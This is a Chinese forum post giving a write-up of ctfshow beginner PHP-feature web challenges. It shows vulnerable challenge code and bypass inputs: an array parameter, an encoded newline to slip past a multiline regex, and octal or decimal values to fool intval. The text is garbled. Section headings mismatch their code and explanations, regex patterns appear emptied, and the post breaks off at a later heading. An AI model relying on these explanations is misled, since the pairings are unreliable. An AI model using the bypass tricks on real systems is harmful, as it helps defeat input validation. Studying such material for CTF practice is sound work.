尤晓兰 发表于 2025-6-1 21:44:36

ctfshowWeb入门 php特性全部wp

Web89(preg_match和intval)

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("//", $num)){
      die("no no no!");
    }
    if(intval($num)){
      echo $flag;
    }
}
//?num[]=1md5()函数如果传入数组,返回值将是NULL,NULL===NULL,所以可以用数组绕过。
Web98(&引用)

&表示引用,比如$b=&$a表示变量b是变量a的一个引用,相当于同一个变量两个名字,一个变化另一个也会跟着变化。
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
      echo 'hacker';
    }
    else{
      echo $flag;
    }
}
else{
    echo 'nonononono';
}?cmd=php%0abbb
Web99(in_array)

in_array() 是否存在strict参数,如果不设置默认为False则为宽松比较,True需要检查搜索的数据与数组的值类型是否相同自动转换为1
题中为宽松比较。当n=1.php时 "1.php"==1,成功绕过

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
      die("no no no!");
    }
    if(preg_match("//i", $num)){
      die("no no no!");
    }
    if(intval($num,0)==4476){
      echo $flag;
    }else{
      echo intval($num,0);
    }
}
//?num=010574
//?num=4476.1Web100(逻辑运算符优先级)

页: [1]
查看完整版本: ctfshowWeb入门 php特性全部wp